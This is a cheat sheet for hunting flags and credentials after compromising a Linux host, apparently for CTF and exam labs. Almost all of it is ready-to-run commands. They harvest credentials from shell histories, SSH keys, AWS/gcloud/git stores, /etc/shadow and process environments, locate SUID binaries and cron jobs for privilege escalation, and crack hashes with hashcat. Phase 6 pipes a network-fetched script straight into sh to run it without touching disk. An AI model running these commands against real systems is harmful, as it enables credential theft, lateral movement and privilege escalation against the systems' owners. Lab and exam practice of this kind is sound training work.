Linux Credential & Flag Hunting
Post-compromise searching on Linux: locate proof flags, then sweep for passwords, keys, and secrets that enable lateral movement or privilege escalation.
Golden rule — append
2>/dev/nullto every recursivefind/grepfrom/so permission-denied noise does not bury real hits.
Phase 1 — Flag Hunting
# The usual CTF / exam proof files, anywhere on disk
find / -type f \( -iname 'user.txt' -o -iname 'root.txt' -o -iname 'proof.txt' -o -iname 'flag*.txt' \) 2>/dev/null
# Common fixed locations
cat /home/*/user.txt 2>/dev/null
cat /root/root.txt 2>/dev/null
# Anything that looks like a hash-style flag inside files (HTB/THM style)
grep -rlE '[A-Fa-f0-9]{32}' /home /root 2>/dev/null
# Flag left in an unusual name/extension
find / -type f -iname '*flag*' 2>/dev/null
Phase 2 — The find Cheat Card
# By name (case-insensitive), suppress errors
find / -iname 'id_rsa' 2>/dev/null
# By multiple extensions
find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' \) 2>/dev/null
# Files modified in the last day (fresh loot after a deploy)
find / -type f -mmin -60 2>/dev/null # last 60 minutes
find / -type f -newermt '2026-09-01' 2>/dev/null # since a date
# World-writable files and dirs (tampering / privesc)
find / -type f -perm -o+w 2>/dev/null
find / -writable -type d 2>/dev/null
# SUID / SGID binaries (privesc paths — cross-check GTFOBins)
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
# Files owned by a specific user
find / -user root -type f -perm -o+r 2>/dev/null
# Files with capabilities (modern privesc vector)
getcap -r / 2>/dev/null
Phase 3 — Grep for Secrets
# Recursive, case-insensitive, show filename + line
grep -rniE 'password|passwd|pwd|secret|api[_-]?key|token' /etc /opt /var/www /home 2>/dev/null
# Assignment patterns only (cuts false positives)
grep -rniE '(pass(word)?|secret|token)\s*[=:]\s*\S+' /var/www /opt 2>/dev/null
# Search only useful file types across a web root
grep -rniE 'password|secret' /var/www --include='*.php' --include='*.env' --include='*.yml' --include='*.ini' 2>/dev/null
# ripgrep is far faster if present
rg -i --no-ignore -e 'password' -e 'secret' -e 'api_key' /var/www /opt 2>/dev/null
Phase 4 — High-Value File Locations
Credential & config files
# Shell / app history — often holds passwords typed on the CLI
cat ~/.bash_history ~/.zsh_history 2>/dev/null
cat ~/.mysql_history ~/.psql_history ~/.python_history 2>/dev/null
find / \( -name '.*_history' -o -name '.bash_history' \) 2>/dev/null
# Credentials cached by common tools
cat ~/.netrc ~/.git-credentials 2>/dev/null # plaintext creds
cat ~/.aws/credentials ~/.config/gcloud/*.json 2>/dev/null
cat ~/.docker/config.json 2>/dev/null # base64 registry auth
find / -name '*.kdbx' 2>/dev/null # KeePass databases
# Web app secrets
find / \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' \
-o -name 'settings.py' -o -name 'database.yml' -o -name 'application.properties' \) 2>/dev/null
# Backups frequently contain old-but-valid secrets
find / -type f \( -name '*.bak' -o -name '*.old' -o -name '*.save' -o -name '*.orig' -o -name '*~' \) 2>/dev/null
SSH keys
# Private keys, authorized_keys, known_hosts (lateral movement)
find / \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name '*.pem' \) 2>/dev/null
find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null
# Recognise a private key by content, not just name
grep -rl 'PRIVATE KEY' /home /root /etc /opt 2>/dev/null
System credential stores
cat /etc/passwd # users / shells / home dirs
cat /etc/shadow 2>/dev/null # password hashes (root only)
# Unshadow for cracking: unshadow passwd shadow > hashes.txt then hashcat -m 1800
cat /etc/sudoers /etc/sudoers.d/* 2>/dev/null # sudo rules → privesc
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron/ 2>/dev/null # scheduled jobs
Phase 5 — Runtime & Memory
# Environment variables of every process (secrets passed via env)
for f in /proc/*/environ; do tr '\0' '\n' < "$f" 2>/dev/null; done | grep -iE 'pass|token|key|secret' | sort -u
# Your own shell environment
env | grep -iE 'pass|token|key|secret'
# Mounted shares / fstab creds (cifs credentials= files)
cat /etc/fstab 2>/dev/null; grep -rl 'credentials=' /etc 2>/dev/null
# Command lines of running processes (passwords passed as args)
ps auxww | grep -iE 'pass|token|-p ' 2>/dev/null
Phase 6 — Automated Tools
| Tool | Command | Notes |
|---|---|---|
| LinPEAS | curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | All-in-one privesc + secret sweep |
| LinEnum | ./LinEnum.sh -t -k password | Keyword search mode |
| LaZagne | ./laZagne.py all | Dumps browser/mail/wifi/db creds |
| pspy | ./pspy64 | Watch cron/processes for creds passed as args |
| deepce | ./deepce.sh | Docker/container escape enum |
# Run linpeas without touching disk
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev/null | tee linpeas.out
Quick Wins Checklist
-
sudo -l— what can you run as root? -
~/.bash_historyand other*_historyfiles -
id_rsa/.pemkeys → SSH to other hosts -
.env,wp-config.php,config.phpin web roots -
/etc/shadowreadable? → crack with hashcat-m 1800 - SUID binaries → check GTFOBins
- Cron jobs running writable scripts
- Reused passwords across users (
su/ DB / service)
Related
- Windows Credential & Flag Hunting — same job on Windows / Evil-WinRM
- Hashcat — crack the hashes you recover (
-m 1800sha512crypt,-m 500md5crypt) - John the Ripper —
unshadow+ crack/etc/shadow